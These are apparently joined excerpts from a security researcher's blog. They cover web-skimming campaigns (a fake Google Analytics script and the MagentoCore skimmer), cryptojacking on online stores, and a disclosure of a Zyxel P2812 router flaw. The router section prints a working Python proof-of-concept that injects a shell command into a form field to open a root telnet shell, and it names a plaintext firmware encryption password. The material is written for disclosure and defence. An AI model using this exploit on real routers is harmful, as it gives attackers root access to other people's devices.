However, you just skimmed over an ingenious impersonation. The domain g-analytics.com is not owned by Google, as opposed to its legitimate google-analytics.com counterpart. The fraud is hosted on a dodgy Russian/Romanian/Dutch/Dubai network called HostSailor. The malware behaves pretty much like the real Google Analytics, and it wouldn’t raise any dev eyebrows while monitoring Chrome’s waterfall chart. It requests __utm.gif, just like other Google Analytics trackers:
Upon closer inspection, the utm.gif request is a POST (uncommon). And it sends a suspicious amount of data over:
Voila, my address, email and credit card info out in the open.
The g-analytics malware has spread to various websites. Interestingly, some websites embed a versioned copy, such as:
I enumerated all possible copies and checked for the “Last-Modified” header:
$ for i in $(seq 1 20); do
wget --mirror https://g-analytics.com/libs/1.0.$i/analytics.js;
$ ls -rtl */* | cut -b28-
130744 jun 23 04:47 1.0.1/analytics.js
30866 jun 27 06:25 1.0.3/analytics.js
32258 jun 27 13:06 1.0.4/analytics.js
32231 jun 28 17:11 1.0.6/analytics.js
34288 jun 28 18:03 1.0.7/analytics.js
31330 jun 28 19:25 1.0.5/analytics.js
75557 jun 30 15:41 1.0.8/analytics.js
30838 jul 2 08:51 1.0.9/analytics.js
31098 jul 4 17:41 1.0.11/analytics.js
56946 jul 5 07:29 1.0.10/analytics.js
57603 jul 5 09:43 1.0.12/analytics.js
24069 jul 7 05:58 1.0.14/analytics.js
31234 jul 7 14:27 1.0.13/analytics.js
35515 jul 10 11:44 1.0.15/analytics.js
The malware creator seemed to have created 14 different copies over the course of 3 weeks. At least versions 1.0.10 and 1.0.12 include a fake payment popup form that was built for a specific website. These instances are still harvesting passwords and identities as of today.
A single group is responsible for planting skimmers on 7339 individual stores in the last 6 months. The MagentoCore skimmer is now the most successful to date.
Update 2018-09-07: Because Google Chrome has added the campaign to its blocklist last Saturday, the skimmers are now rapidly replacing “magentocore.net” with “magento.name”. In the last 24h, they have updated at least 190 compromised stores.
Online skimming - your identity and card are stolen while you shop - has been around for a few years, but no campaign has been so prolific as the MagentoCore.net skimmer. In the last 6 months, the group has turned 7339 individual stores into zombie money machines, to the benefit of their illustrious masters.
The average recovery time is a few weeks, but at least 1450 stores have hosted the MagentoCore.net parasite during the full past 6 months.
The group hasn’t finished yet: new brands are hijacked at a pace of 50 to 60 stores per day over the last two weeks (source: daily scans of yours truly).
The victim list contains multi-million dollar, publicly traded companies, which suggests the malware operators make a handsome profit. But the real victims are eventually the customers, who have their card and identity stolen.
How it works
This script (backup) records keystrokes from unsuspecting customers and sends everything in real-time to the “magentocore.net” server, registered in Moscow.
The malware includes a recovery mechanism as well. In case of the Magento software, it adds a backdoor to cron.php. That will periodically download malicious code, and, after running, delete itself, so no traces are left.
The file clean.json (backup) is PHP code that removes any competing malware from the site, searching for ATMZOW, 19303817.js and PZ7SKD.
The file clear.json (backup) changes the password of several common staff user names to how1are2you3 (see below for list).
What you can do
If you are a merchant and found the MagentoCore.net skimmer in your store, this is the to-do list for your ops team / forensic investigator.
Find the entry point: how could attackers gain unauthorized access in the first place? Analyse backend access logs, correlate with staff IP’s and typical working hours. If suspicious activity is recorded from staff IPs, it could be that a staff computer is infected with malware, or that the attacker has hijacked an authorized session.
Find backdoors and unauthorized changes to your codebase. Usually there are a few, both in frontend/backend code and the database. My opensource Magento Malware Scanner can be useful here.
Once you have established all means of unauthorized access, close them all at once.
Implement secure procedures that cover timely patching, strong staff passwords etcetera. A good starting point.
If your team has little experience with forensic analysis, it generally pays off to hire a professional investigator. S/he will find the entry vector faster and perhaps more important, has a lower risk of leaving any undetected backdoors. One missed backdoor and you can start all over in a few weeks.
Admin user names
The MagentoCore malware will set the password to how1are2you3 for the following admin accounts periodically:
This exploits a bug in the popular Mirasvit Helpdesk extension. When a helpdesk agent opens the ticket, it will run the code in the background, in the browser of the agent. Then, malware is added to the footer of the Magento template, so that it is run by all store visitors. Ultimately, the malware intercepts payments data and send it offshore as the customer types it into the payment form.
This attack is particularly sophisticated, as it is able to bypass many security measures that a merchant might have taken. For example, IP restriction on the backend, strong passwords, 2-Factor-Authentication and using a VPN tunnel will not block this attack.
Have you been targeted?
Run this query on your database to find XSS attacks like these:
The Mirasvit Helpdesk flaw was discovered and published on September 21st, but - until now - hasn’t been seen exploited in the wild.
Meanwhile, Mirasvit has released an update for its helpdesk software (v1.5.3). It is recommended to install this as soon as possible.
Other recommendations for store owners to block this type of attack:
Monitor your store for modified head/footer template insertions
Do you have a compromised Magento store? I am available for forensic analysis to identify the root cause and sufficient mitigation measures. An analysis can usually be completed within a week and is 100% confidential.
Does your laptop get hot when visiting your favorite shop? You computer is likely mining cryptocurrencies to the benefit of a cyberthief.
Cryptojacking - running crypto mining software in the browser of unsuspecting visitors - is quickly spreading around the web. And the landgrab extends to online stores. The infamous CoinHive software was detected today on 2496 e-commerce sites.
Skimming and cryptomining, a golden match
Now, it does not seem likely that the legitimate store owners wanted to earn a few extra bucks and have added CoinHive themselves. I found that 80% of cryptomining stores also contain payment skimming malware. Apparently, cyberthieves are squeezing every penny out of their confiscated assets.
Spread fuelled by just a few individuals
As CoinHive requires a unique ID, we can analyze the distribution of crypto thieves. Out of 2496 infected stores, 85% is linked to only 2 CoinHive accounts, while the remaining 15% is spread out over unique CoinHive accounts. Because the tag added to this remaining 15% segment is consistenly the site’s name, my guess is that this cryptojacking surge on online stores can be attributed to just 3 individuals or groups.
Some sites bluntly include the official coinhive.js file, others are more stealthy and include an iframe that points to siteverification.online. This site shows a default Debian installation page but include a cryptominer nevertheless. Yet others disguise as Sucuri Firewall.
Zyxel P2812 DSL routers are commonly used in the Netherlands and Norway. A command injection vulnerability exists in the latest KPN/Telfort routers that allows root access.
Proof of concept exploit
Works against firmware V3.11TUE8. At least TUE3 is also affected, but requires slight modification (no sessionKey). Telenor branded Zyxel routers are not affected since at least BLN.18.
#!/usr/bin/env python3 # 2017-02-03 email@example.comUSER='user'PASS='1234'URL='http://192.168.1.254/'CMD='/sbin/telnetd -l/bin/sh -p9999 &'s=requests.Session()s.post(URL+'login.cgi',data=dict(UserName=USER,password=PASS,hiddenPassword=PASS,submitValue='1'))r=s.get(URL+'fileuser_mod.cgi')assert'sessionKey'inr.text,r.textsessionkey=re.search("gblsessionKey = '(.+?)'",r.text).group(1)assertlen(sessionkey)>24,sessionkeyr=s.post(URL+'qos_queue_add.cgi',data=dict(Submit='Apply',QueueObjectIndex='15',QueueNameTxt='test',WebQueueInterface='WAN`%s`'%CMD,WebQueuePriority='1',WebQueueWeight='1',sessionKey=sessionkey,))if"window.parent.document.activePage('network-qos',1)"inr.text:print("Success, root shell at port 9999")else:print("Did not work, see output:\n"+r.text)
$ telnet 192.168.1.1 9999
Connected to 192.168.1.1.
Escape character is '^]'.
2017-02-05 Notified firstname.lastname@example.org
2017-02-11 Notified email@example.com
2017-02-15 KPN: "escalated to Zyxel"
2017-02-23 Telenor: "we have fixed this already in BLN18"
2017-02-23 KPN: "still waiting for Zyxel"
2017-04-07 KPN: "still waiting for Zyxel"
2017-05-08 KPN: "we got a patch"
2017-05-15 KPN: "still testing the patch"
2017-05-18 KPN: "still testing the patch"
2017-05-30 KPN: "still testing the patch"
2017-06-15 KPN: "testing failed, waiting for Zyxel"
2017-09-28 Public disclosure
A firmware update will surely lock me out, and my goal is to override some of the Zyxels DNS settings. I ensure future access by eliminating the call-home and update mechanism (TR-069).
The /etc partition is mounted as tmpfs on a running system and populated in /etc/init.d/rcS. The root partition is mounted read-only. To persist my changes:
ls -l /proc/*/fd/* | grep etc
# kill everything else that blocks
mount -t yaffs2 -o remount,rw /
Now I can alter /etc/init.d/rcS. Warning: a syntax error will brick my system. So it’s best to minize modifications to the system and put most of it on a USB memory stick.
My modified rcS script only copies a file to /etc/automount/automount.d/auto-usb-run.sh. This is run every time a USB disk is inserted. If the USB disk contains an init.sh file, it is executed. Extra profit: I only have to re-plug my USB stick to test changes to my script.
In my init.sh script, I’ll ensure to kill zytr069main. This process does a periodic check with my ISP and will possibly download new firmware.
IMHO Zyxel’s hardware is quite ok, but the software tells a tale of tight deadlines and churn in the dev team. For example,
The boot log contains warnings about non-existing commands.
The code contains multiple “FIXME” comments.
Code commented out without explanation.
A watchdog cron reboots every 5 minutes when stuff has crashed.
Partial remains from other systems: an NsaRecoveryAngel account, probably from Zyxel’s NAS product, and a Telenor recovery account.
SVN folders with names and email addresses of Zyxel engineers.
The config.rom, that can be downloaded by users for backup, was encrypted a few revisions back. Probably because the rom contains the password hash for the root account and users could modify it, upload it and gain access to the system. Not anymore. However, the encryption password (N3z0y93) is stored in plaintext in /usr/bin/encrypt_config.sh.
Also, the passwords for the root and telenor accounts are stored as md5-crypt, which is considered an insecure hash and could be cracked with some modest computing power and time.
This Zyxel model was rooted before but it was fixed (incompletely) by stripping special characters in user input.
Note-to-self on firmware analysis
The ISP-branded firmware is not publicly available, but the latest Zyxel firmware is very similar and up for grabs.
Installed the latest binwalk and all its dependencies, especially yaffs and sasquatch.
Ran binwalk -eM <image> to extract the root filesystem. Under /usr/share/web I found the GUI system.
Ran strings on these binaries to find interesting pointers, for example, all binaries that do shell-interpreted system calls: